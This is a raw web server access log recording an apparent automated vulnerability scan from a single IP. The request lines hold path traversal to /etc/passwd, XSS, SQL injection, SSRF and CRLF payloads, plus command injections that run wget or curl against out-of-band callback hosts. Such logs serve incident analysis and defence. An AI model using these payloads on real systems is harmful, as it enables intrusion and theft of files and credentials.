[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /dav/server.php/files/personal/GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021 HTTP/1.1" 223
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hue/assets/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi/dataset_dictionary?dataset=zulu%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?SQ=0&srch=x\"+onmouseover%3Dalert%281%29+x%3D\"&t=search&btn_submit.x=0&btn_submit.y=0 HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/view?filename=/windows/win.ini&base=../../../../../../../../../../ HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /menu/neo HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /contactus.php HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=wps_pages_page&ID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))test)&type=home HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0 HTTP/1.1" 199
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/posts?per_page=1 HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /r2w/signIn.do?urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/options.php HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/posts HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=heartbeat&admin_custom_language_toggle=1&admin_custom_language_return_url=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /contactus.php HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?noptin_ns=email_click&to=https://interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?SQ=0&t=search&srch=380DI5mT6BzQ0ACy9Y4pYkxERVK&btn_submit=Search&field=all&forum_limiter&attach=0&search_logic=AND&sort_order=REL&author=x\"+onmouseover%3Dalert%28document.domain%29+x%3D HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id; HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.../.../.../.../.../.../.../.../.../windows/win.ini HTTP/1.1" 199
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pages/createpage-entervariables.action HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prweb/PRAuth/app/default/ HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2F202.181.208.139:443%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1 HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/app/something/services/AppModule.class/ HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /realms/master/clients-registrations/openid-connect HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /calendar/calendar_form.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /contactus.php HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/cores?wt=json HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log_download.cgi?type=../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tools.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /adminer/adminer.php HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/ HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /patient/search_result.php HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/SOAPService HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cgi-bin/status HTTP/1.1" 199
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?url=http://0177.0.0.1/server-status HTTP/1.1" 3426
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /passwordreset?bundle=';alert(document.domain);var+ok=' HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PATCH /redfish/v1/SessionService/ResetPassword/1/ HTTP/1.1" 222
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfide/scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/SOAPService HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/anycomment/v1/auth/wordpress?redirect=https://interact.sh?a=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927532913 HTTP/1.1" -
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hsqldb%0a HTTP/1.1" 199
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /password.html HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adserver/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27 HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ghost/preview HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /agc/vicidial_mysqli_errors.txt HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup2.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openam/ui/PWResetUserValidation HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static?/%2557EB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927530732 HTTP/1.1" -
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm(380DIJi6eDnJgM409F5o8l8fZga)%3c%2fscript%3e&win=2707 HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_ignition/execute-solution HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../ HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pme/database/pme/phinx.yml HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /goform/setmac HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.../.../.../.../.../.../.../.../.../etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /concat?/%2557EB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /new/newhttp://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28380DIbtRMePlJYDDnvIxEDbds6y%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tools.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/SOAPService HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?layout=/etc/passwd HTTP/1.1" 3426
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seo/seopanel/login.php?sec=forgot HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gespage/doDownloadData?file_name=../../../../../Windows/debug/NetSetup.log HTTP/1.1" 196
[09/Jan/2026:10:54:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log_download.cgi?type=../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /HandleEvent HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500 HTTP/1.1" 3426
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /adminer/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search.php?search=%22;wget+http%3A%2F%2Fd5g6to2hausk1oj0j65gcuk4mjc1ochqq.oast.live%27;%22 HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /javax.faces.resources/faces-config.xml.jsf?con=/../../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9 HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?Express=aaaa&autoEscape&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27wget%20http://d5g6to2hausk1oj0j65ga1cbpt3xkepif.oast.live%27);// HTTP/1.1" 3426
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?host=http://0177.0.0.1/server-status HTTP/1.1" 3426
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OpenAM-11.0.0/ui/PWResetUserValidation HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2f/ HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/get_device_details HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Images/Remote?imageUrl=https://oast.me/ HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bludit/admin/login HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tc.CBS.Appl/tcspseudo HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%u002e/WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\\&refurl=}}};alert(document.domain)// HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CF_SFSD/scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /file?valore=../../../../../windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AvalancheWeb/image?imageFilePath=C:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?next=\\\\\\interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /RPC2_Login HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status.htm HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/v1/service-details HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docpicker/internal_proxy/http/oast.me HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port&TF_port&B_mac_apply=APPLY HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /redfish/v1/SessionService/Sessions/ HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(6)))xoOt) HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cgi-bin/stats HTTP/1.1" 199
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax/networking/get_netcfg.php?iface=;curl%20d5g6to2hausk1oj0j65gz58b5mq3756p6.oast.live/`whoami`; HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ== HTTP/1.1" 196
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /\\u001B]8;;https://interact.sh\"/onmouseover=\"alert(1)\\u0007example\\u001B]8;;\\u0007 HTTP/1.1" 226
[09/Jan/2026:10:54:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
